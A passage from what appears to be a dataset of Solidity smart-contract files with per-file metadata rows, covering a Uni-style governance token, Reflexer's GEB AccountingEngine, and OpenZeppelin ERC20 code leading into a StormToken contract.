mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "Uni::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
function setMinter(address minter_) external {
require(msg.sender == minter, "Uni::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Uni::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "Uni::mint: minting not allowed yet");
require(dst != address(0), "Uni::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "Uni::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Uni::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "Uni::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Uni::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Uni::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Uni::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Uni::permit: invalid signature");
require(signatory == owner, "Uni::permit: unauthorized");
require(now <= deadline, "Uni::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Uni::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Uni::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Uni::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Uni::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Uni::delegateBySig: invalid nonce");
require(now <= expiry, "Uni::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Uni::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Uni::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Uni::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Uni::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Uni::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Uni::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Uni::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Uni::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 264,317 | 141 |
a0a3d527d8aa107567d7625bb320ccd8d11253d0429d624e61c040a00910a124
| 22,257 |
.sol
|
Solidity
| false |
248865195
|
reflexer-labs/geb
|
d3fc05d24137031feec81f5a496b7501475b6b35
|
src/single/AccountingEngine.sol
| 4,209 | 17,246 |
/// AccountingEngine.sol
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract DebtAuctionHouseLike {
function startAuction(address incomeReceiver, uint256 amountToSell, uint256 initialBid) virtual public returns (uint256);
function protocolToken() virtual public view returns (address);
function disableContract() virtual external;
function contractEnabled() virtual public view returns (uint256);
}
abstract contract SurplusAuctionHouseLike {
function startAuction(uint256, uint256) virtual public returns (uint256);
function protocolToken() virtual public view returns (address);
function disableContract() virtual external;
function contractEnabled() virtual public view returns (uint256);
}
abstract contract SAFEEngineLike {
function coinBalance(address) virtual public view returns (uint256);
function debtBalance(address) virtual public view returns (uint256);
function settleDebt(uint256) virtual external;
function transferInternalCoins(address,address,uint256) virtual external;
function approveSAFEModification(address) virtual external;
function denySAFEModification(address) virtual external;
}
abstract contract SystemStakingPoolLike {
function canPrintProtocolTokens() virtual public view returns (bool);
}
abstract contract ProtocolTokenAuthorityLike {
function authorizedAccounts(address) virtual public view returns (uint256);
}
contract AccountingEngine {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
function addAuthorization(address account) external isAuthorized {
require(contractEnabled == 1, "AccountingEngine/contract-not-enabled");
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "AccountingEngine/account-not-authorized");
_;
}
// --- Data ---
// SAFE database
SAFEEngineLike public safeEngine;
SurplusAuctionHouseLike public surplusAuctionHouse;
DebtAuctionHouseLike public debtAuctionHouse;
// Permissions registry for who can burn and mint protocol tokens
ProtocolTokenAuthorityLike public protocolTokenAuthority;
// Staking pool for protocol tokens
SystemStakingPoolLike public systemStakingPool;
// Contract that auctions extra surplus after settlement is triggered
address public postSettlementSurplusDrain;
// Address that receives extra surplus transfers
address public extraSurplusReceiver;
mapping (uint256 => uint256) public debtQueue; // [unix timestamp => rad]
// Addresses that popped debt out of the queue
mapping (uint256 => address) public debtPoppers; // [unix timestamp => address]
// Total debt in the queue (that the system tries to cover with collateral auctions)
uint256 public totalQueuedDebt; // [rad]
uint256 public totalOnAuctionDebt; // [rad]
// When the last surplus auction was triggered
uint256 public lastSurplusAuctionTime; // [unix timestamp]
// When the last surplus transfer was triggered
uint256 public lastSurplusTransferTime; // [unix timestamp]
// Delay between surplus auctions
uint256 public surplusAuctionDelay; // [seconds]
// Delay between extra surplus transfers
uint256 public surplusTransferDelay; // [seconds]
// Delay after which debt can be popped from debtQueue
uint256 public popDebtDelay; // [seconds]
// Amount of protocol tokens to be minted post-auction
uint256 public initialDebtAuctionMintedTokens; // [wad]
uint256 public debtAuctionBidSize; // [rad]
// Whether the system transfers surplus instead of auctioning it
uint256 public extraSurplusIsTransferred;
// Amount of surplus stability fees sold in one surplus auction
uint256 public surplusAuctionAmountToSell; // [rad]
// Amount of extra surplus to transfer
uint256 public surplusTransferAmount; // [rad]
// Amount of stability fees that need to accrue in this contract before any surplus auction can start
uint256 public surplusBuffer; // [rad]
uint256 public disableCooldown; // [seconds]
// When the contract was disabled
uint256 public disableTimestamp; // [unix timestamp]
// Whether this contract is enabled or not
uint256 public contractEnabled;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(bytes32 indexed parameter, uint256 data);
event ModifyParameters(bytes32 indexed parameter, address data);
event PushDebtToQueue(uint256 indexed timestamp, uint256 debtQueueBlock, uint256 totalQueuedDebt);
event PopDebtFromQueue(uint256 indexed timestamp, uint256 debtQueueBlock, uint256 totalQueuedDebt);
event SettleDebt(uint256 rad, uint256 coinBalance, uint256 debtBalance);
event CancelAuctionedDebtWithSurplus(uint rad, uint256 totalOnAuctionDebt, uint256 coinBalance, uint256 debtBalance);
event AuctionDebt(uint256 indexed id, uint256 totalOnAuctionDebt, uint256 debtBalance);
event AuctionSurplus(uint256 indexed id, uint256 lastSurplusAuctionTime, uint256 coinBalance);
event DisableContract(uint256 disableTimestamp, uint256 disableCooldown, uint256 coinBalance, uint256 debtBalance);
event TransferPostSettlementSurplus(address postSettlementSurplusDrain, uint256 coinBalance, uint256 debtBalance);
event TransferExtraSurplus(address indexed extraSurplusReceiver, uint256 lastSurplusAuctionTime, uint256 coinBalance);
// --- Init ---
constructor(address safeEngine_,
address surplusAuctionHouse_,
address debtAuctionHouse_) public {
authorizedAccounts[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
surplusAuctionHouse = SurplusAuctionHouseLike(surplusAuctionHouse_);
debtAuctionHouse = DebtAuctionHouseLike(debtAuctionHouse_);
safeEngine.approveSAFEModification(surplusAuctionHouse_);
lastSurplusAuctionTime = now;
lastSurplusTransferTime = now;
contractEnabled = 1;
emit AddAuthorization(msg.sender);
}
// --- Math ---
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "AccountingEngine/add-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "AccountingEngine/sub-underflow");
}
function minimum(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
// --- Administration ---
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "surplusAuctionDelay") surplusAuctionDelay = data;
else if (parameter == "surplusTransferDelay") surplusTransferDelay = data;
else if (parameter == "popDebtDelay") popDebtDelay = data;
else if (parameter == "surplusAuctionAmountToSell") surplusAuctionAmountToSell = data;
else if (parameter == "surplusTransferAmount") surplusTransferAmount = data;
else if (parameter == "extraSurplusIsTransferred") extraSurplusIsTransferred = data;
else if (parameter == "debtAuctionBidSize") debtAuctionBidSize = data;
else if (parameter == "initialDebtAuctionMintedTokens") initialDebtAuctionMintedTokens = data;
else if (parameter == "surplusBuffer") surplusBuffer = data;
else if (parameter == "lastSurplusTransferTime") {
require(data > now, "AccountingEngine/invalid-lastSurplusTransferTime");
lastSurplusTransferTime = data;
}
else if (parameter == "lastSurplusAuctionTime") {
require(data > now, "AccountingEngine/invalid-lastSurplusAuctionTime");
lastSurplusAuctionTime = data;
}
else if (parameter == "disableCooldown") disableCooldown = data;
else revert("AccountingEngine/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
if (parameter == "surplusAuctionHouse") {
safeEngine.denySAFEModification(address(surplusAuctionHouse));
surplusAuctionHouse = SurplusAuctionHouseLike(data);
safeEngine.approveSAFEModification(data);
}
else if (parameter == "systemStakingPool") {
systemStakingPool = SystemStakingPoolLike(data);
systemStakingPool.canPrintProtocolTokens();
}
else if (parameter == "debtAuctionHouse") debtAuctionHouse = DebtAuctionHouseLike(data);
else if (parameter == "postSettlementSurplusDrain") postSettlementSurplusDrain = data;
else if (parameter == "protocolTokenAuthority") protocolTokenAuthority = ProtocolTokenAuthorityLike(data);
else if (parameter == "extraSurplusReceiver") extraSurplusReceiver = data;
else revert("AccountingEngine/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
// --- Getters ---
function unqueuedUnauctionedDebt() public view returns (uint256) {
return subtract(subtract(safeEngine.debtBalance(address(this)), totalQueuedDebt), totalOnAuctionDebt);
}
function canPrintProtocolTokens() public view returns (bool) {
if (address(systemStakingPool) == address(0)) return true;
try systemStakingPool.canPrintProtocolTokens() returns (bool ok) {
return ok;
} catch(bytes memory) {
return true;
}
}
// --- Debt Queueing ---
function pushDebtToQueue(uint256 debtBlock) external isAuthorized {
debtQueue[now] = addition(debtQueue[now], debtBlock);
totalQueuedDebt = addition(totalQueuedDebt, debtBlock);
emit PushDebtToQueue(now, debtQueue[now], totalQueuedDebt);
}
function popDebtFromQueue(uint256 debtBlockTimestamp) external {
require(addition(debtBlockTimestamp, popDebtDelay) <= now, "AccountingEngine/pop-debt-delay-not-passed");
require(debtQueue[debtBlockTimestamp] > 0, "AccountingEngine/null-debt-block");
totalQueuedDebt = subtract(totalQueuedDebt, debtQueue[debtBlockTimestamp]);
debtPoppers[debtBlockTimestamp] = msg.sender;
emit PopDebtFromQueue(now, debtQueue[debtBlockTimestamp], totalQueuedDebt);
debtQueue[debtBlockTimestamp] = 0;
}
// Debt settlement
function settleDebt(uint256 rad) public {
require(rad <= safeEngine.coinBalance(address(this)), "AccountingEngine/insufficient-surplus");
require(rad <= unqueuedUnauctionedDebt(), "AccountingEngine/insufficient-debt");
safeEngine.settleDebt(rad);
emit SettleDebt(rad, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this)));
}
function cancelAuctionedDebtWithSurplus(uint256 rad) external {
require(rad <= totalOnAuctionDebt, "AccountingEngine/not-enough-debt-being-auctioned");
require(rad <= safeEngine.coinBalance(address(this)), "AccountingEngine/insufficient-surplus");
totalOnAuctionDebt = subtract(totalOnAuctionDebt, rad);
safeEngine.settleDebt(rad);
emit CancelAuctionedDebtWithSurplus(rad, totalOnAuctionDebt, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this)));
}
// Debt auction
function auctionDebt() external returns (uint256 id) {
require(debtAuctionBidSize <= unqueuedUnauctionedDebt(), "AccountingEngine/insufficient-debt");
settleDebt(safeEngine.coinBalance(address(this)));
require(safeEngine.coinBalance(address(this)) == 0, "AccountingEngine/surplus-not-zero");
require(debtAuctionHouse.protocolToken() != address(0), "AccountingEngine/debt-auction-house-null-prot");
require(protocolTokenAuthority.authorizedAccounts(address(debtAuctionHouse)) == 1, "AccountingEngine/debt-auction-house-cannot-print-prot");
require(canPrintProtocolTokens(), "AccountingEngine/staking-pool-denies-printing");
totalOnAuctionDebt = addition(totalOnAuctionDebt, debtAuctionBidSize);
id = debtAuctionHouse.startAuction(address(this), initialDebtAuctionMintedTokens, debtAuctionBidSize);
emit AuctionDebt(id, totalOnAuctionDebt, safeEngine.debtBalance(address(this)));
}
// Surplus auction
function auctionSurplus() external returns (uint256 id) {
require(extraSurplusIsTransferred != 1, "AccountingEngine/surplus-transfer-no-auction");
require(surplusAuctionAmountToSell > 0, "AccountingEngine/null-amount-to-auction");
settleDebt(unqueuedUnauctionedDebt());
require(now >= addition(lastSurplusAuctionTime, surplusAuctionDelay),
"AccountingEngine/surplus-auction-delay-not-passed");
require(safeEngine.coinBalance(address(this)) >=
addition(addition(safeEngine.debtBalance(address(this)), surplusAuctionAmountToSell), surplusBuffer),
"AccountingEngine/insufficient-surplus");
require(unqueuedUnauctionedDebt() == 0,
"AccountingEngine/debt-not-zero");
require(surplusAuctionHouse.protocolToken() != address(0), "AccountingEngine/surplus-auction-house-null-prot");
lastSurplusAuctionTime = now;
lastSurplusTransferTime = now;
id = surplusAuctionHouse.startAuction(surplusAuctionAmountToSell, 0);
emit AuctionSurplus(id, lastSurplusAuctionTime, safeEngine.coinBalance(address(this)));
}
// Extra surplus transfers/surplus auction alternative
function transferExtraSurplus() external {
require(extraSurplusIsTransferred == 1, "AccountingEngine/surplus-auction-not-transfer");
require(extraSurplusReceiver != address(0), "AccountingEngine/null-surplus-receiver");
require(surplusTransferAmount > 0, "AccountingEngine/null-amount-to-transfer");
settleDebt(unqueuedUnauctionedDebt());
require(now >= addition(lastSurplusTransferTime, surplusTransferDelay),
"AccountingEngine/surplus-transfer-delay-not-passed");
require(safeEngine.coinBalance(address(this)) >=
addition(addition(safeEngine.debtBalance(address(this)), surplusTransferAmount), surplusBuffer),
"AccountingEngine/insufficient-surplus");
require(unqueuedUnauctionedDebt() == 0,
"AccountingEngine/debt-not-zero");
lastSurplusTransferTime = now;
lastSurplusAuctionTime = now;
safeEngine.transferInternalCoins(address(this), extraSurplusReceiver, surplusTransferAmount);
emit TransferExtraSurplus(extraSurplusReceiver, lastSurplusTransferTime, safeEngine.coinBalance(address(this)));
}
function disableContract() external isAuthorized {
require(contractEnabled == 1, "AccountingEngine/contract-not-enabled");
contractEnabled = 0;
totalQueuedDebt = 0;
totalOnAuctionDebt = 0;
disableTimestamp = now;
surplusAuctionHouse.disableContract();
debtAuctionHouse.disableContract();
safeEngine.settleDebt(minimum(safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this))));
emit DisableContract(disableTimestamp, disableCooldown, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this)));
}
function transferPostSettlementSurplus() external {
require(contractEnabled == 0, "AccountingEngine/still-enabled");
require(addition(disableTimestamp, disableCooldown) <= now, "AccountingEngine/cooldown-not-passed");
safeEngine.settleDebt(minimum(safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this))));
safeEngine.transferInternalCoins(address(this), postSettlementSurplusDrain, safeEngine.coinBalance(address(this)));
emit TransferPostSettlementSurplus(postSettlementSurplusDrain,
safeEngine.coinBalance(address(this)),
safeEngine.debtBalance(address(this)));
}
}
| 274,385 | 142 |
7a692afcff9bfd64be81851a4a840a20e6c43ec5c11f373ff29fdd1855a846e5
| 37,320 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xc0E7Ba97E9C802656C2B3eA8f27FAD6E60f0a795/contract.sol
| 4,489 | 17,945 |
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/StormToken.sol
contract StormToken is ERC20("StormToken", "STORM"), Ownable {
